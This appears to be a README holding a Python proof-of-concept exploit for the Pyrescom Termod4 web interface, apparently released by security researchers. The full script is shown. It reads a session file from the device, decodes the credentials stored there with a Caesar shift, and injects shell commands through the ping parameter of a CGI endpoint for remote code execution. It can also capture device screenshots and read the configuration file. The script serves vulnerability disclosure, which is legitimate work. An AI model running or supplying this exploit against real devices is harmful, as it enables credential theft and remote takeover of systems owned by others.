README.md
Rendering markdown...
#!/usr/local/bin/python3
import requests, argparse, sys, urllib
from datetime import datetime
from bs4 import BeautifulSoup
from urllib.request import urlopen
## Parsing arguments
parser = argparse.ArgumentParser(description='Proof of concept exploit for Pyrescom Termod4 web interface. By Outpost24 Ghost Labs\' JM & vdT (@HugovdToorn)')
parser.add_argument('target', type=str.lower, help='Your target URL.')
parser.add_argument('command', nargs='?', default=False, help='Command if you want to attempt RCE.')
parser.add_argument('-s', '--screenshot', help='Show Termod4 interface.', action='store_true')
parser.add_argument('-c', '--config', help='Show Termod4 settings /etc/config.ini.', action='store_true')
parser.add_argument('-v', '--verbose', help='Increase output verbosity.', action='store_true')
args = parser.parse_args()
## Variables
verbose = (True if args.verbose else False)
screenshot = (True if args.screenshot else False)
config = (True if args.config else False)
target = args.target
command = args.command
# Text colour
cdef="\033[39m"
cred="\033[31m"
cgreen="\033[32m"
cyellow="\033[33m"
cblue="\033[34m"
# Formatting
fbold="\033[1m"
fdim="\033[2m"
funderline="\033[4m"
fblink="\033[5m"
freverse="\033[7m"
fhidden="\033[8m"
# Resets
res="\033[0m"
resbold="\033[21m"
resdim="\033[22m"
resunderline="\033[24m"
resblink="\033[25m"
resreverse="\033[27m"
reshidden="\033[28m"
# Feedback elements
pos=cgreen+fbold+"[+] "+res
neg=cred+fbold+"[-] "+res
war=cyellow+fbold+"[!] "+res
inf=cblue+fbold+"[i] "+res
def decryptPass(text,s):
# Kudo's to Tutorialspont for inspiration on a litteral shift instead a-z.
# https://www.tutorialspoint.com/cryptography_with_python/cryptography_with_python_caesar_cipher.htm
result = ""
# transverse the plain text
for i in range(len(text)):
char = text[i]
# Encrypt uppercase characters in plain text
if (char.isupper()):
result += chr((ord(char) + s-65) % 26 + 65)
# Encrypt lowercase characters in plain text
else:
result += chr((ord(char) + s - 97) % 26 + 97)
return result
def getPass():
# Here resides the flaw, 'encrypted' credentials are stored in /sessions.txt
print(pos+'Requesting \'encrypted\' data form target.')
try:
session = requests.get(target+'/session.txt')
content = str.split(session.text)
except Exception as e:
print(neg+'Could not read content, check connection or target URL.\n Remove any trailing slashes and ensure to add \'http(s)://\'.')
print(neg+'Reason:',e)
sys.exit(1)
if verbose: print(inf+'Read following values:', content)
print(pos+'Got encrypted values from session file.\n')
# Decoding is simple, Ceasar cipher -3....
print(pos+'Attempting to decrypt values.')
try:
encusr = content[0]
encpwd = content[1]
username = decryptPass(encusr,-3)
password = decryptPass(encpwd,-3)
except Exception as e:
print(neg+'Could not decode values, no creds no fun.\n')
print(neg+'Reason:',e)
sys.exit(1)
print(war+'Username:',username)
print(war+'Password:',password)
print(pos+'Obtained plain credentials!\n')
return username, password, encusr, encpwd
def execRCE(auth,cmd):
print(pos+'Attempting RCE.')
if verbose: print(inf+'RCE command:',command)
try:
if " " in cmd:
cmd = "{"+cmd.replace(" ",",").replace("/","/")+"}" # Nothing
print(inf+"Using URL-encoded command: "+cmd)
path = target + '/cgi-bin/cfg.cgi?fonction=160&LANGUE=EN&ping=127;' + cmd + '&visu=0' + auth
resultpath = target + '/cgi-bin/cfg.cgi?fonction=160&LANGUE=EN&visu=1' + auth
if verbose: print(inf+'Attacking: ' + path)
if verbose: print(inf+'Expecting results in: ' + path)
response = urlopen(path)
res=requests.get(resultpath)
soup=BeautifulSoup(res.content,"html.parser")
output = soup.find_all("td", "log")
print(war+'Command output:')
for td in output:
content = td.contents[0].strip()
if content == "Ping impossible":
print(neg+'RCE command could not be executed. Escaping is weird, sorry :(')
break
else:
print('\t'+content)
print(pos+'RCE complete.\n')
except Exception as e:
print(neg+'Could not execute command, whups:', e)
def takeScreenshot(auth):
print(pos+'Attempting to screenshot target device.')
#Path is requested to generate new screenshot, then latest screenshot is downloaded from resultpath.
path = target+'/cgi-bin/cfg.cgi?fonction=221&LANGUE=EN' + auth
resultpath = target + '/cgi-bin/screenshot.png'
img = str(datetime.now())+'-Pyrescom.png'
if verbose: print(inf+'Requesting generation of new screenshot: ' + path)
genpic = requests.get(path)
if genpic.status_code == 200:
print(pos+'Pyrescom device created new screenshot!')
else:
print(war+'Could not generate new screenshot, image might be dated!')
if verbose: print(inf+'Attempting to fetch latest screenshot: ' + resultpath)
getpic = requests.get(resultpath)
if getpic.status_code == 200:
with open(img, 'wb') as f:
f.write(getpic.content)
print(pos+'Got image, stored as: ' + img + '.\n')
else:
print(neg+'Something went wrong when fetching the screenshot.\n')
def main():
print(banner())
username, password, encusr, encpwd = getPass()
# Auth string below is required to execute commands/functions.
auth = '&login='+encusr+'&password='+encpwd
if command:
execRCE(auth, command)
if screenshot:
takeScreenshot(auth)
if config:
execRCE(auth, 'cat /etc/config.ini')
print(pos+'All done.')
def banner():
banner = str(cblue + """
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK0OkkkkOKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXKOxdooooooooodx0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXc cXXXXl;lXXXXXXXXXXXX0dooooooooooooooood0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
kc .''''. ckX. .XXXXXXXXXXXxooooooooooooooooooooxXXXXXXXXXXXXXXXXO oXXXXXXXXX
; o0XXXX0o :X. .0000000KXXkoooooooook0xooooooooooxXXK000000000K00x c00XXXXXXX
; 0XXXXXXXXXXX. .:0oo oooo oooooooooooxc. '. KXXXXXX
; 0XXXXOxxxxOX. .000000c. 'ooo ox xoooooooooo; '00000000000d c00XXXXXXX
; 0XXXX' ;X. .XXXXXXXx oooo oooo ooooooooooooc, .,,,,,,OXXXXk lXXXXXXXXX
; 0XXXXXX0 ;X. .XXXXXXXx ;ooooooooooooooooooooooooo,;;;;;, 'dXXk lXXXXXXXXX
c. .oOOOOOx ;X. .XXXXXXXx ckooooooooooooooooooooolcccoOOOOd ,XXO. ,OXXXXXXX
X0l ;X. .XXXXxood lXKxooooooooooooooooooo; :kXXXXXo. KXXXXXX
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXKOdoooooooooooooooo. :XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXXXXKOxooooookK00OOd :XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXXXXXXK ..'' lOXXk .dXXXXkc o
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXXXXXXXxxxxxxl .;Xk ,xxxxxx. .kX, oxxxxxxxx0
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXXXXXXXcccccccc .Xk :XXXXXXXo xXl. :cccccoXXX
XXXXXXXXXXXXXXXXXXXXXX, KXXXXXXXXXOc. ....... .Xk :XXXXXXXo xXXKx....... .o0
XXXXXXXXXXXXXXXXXXXXXX, 0KKKKKKKKK, lKKKKKK .Xk :KKKKKKc. xXKKKKKKKKK: c
XX """ + cred + fblink + fbold + """<3 JM & vdT """ + res + cblue + """ XXXXXXXX, dk; .Xk .;XXX. |
XXXXXXXXXXXXXXXXXXXXXXxllllllllllllOXXlllllllllldX0llllllllllxXXXXollllllllldXXX""" + res)
return banner
if __name__ == '__main__':
main()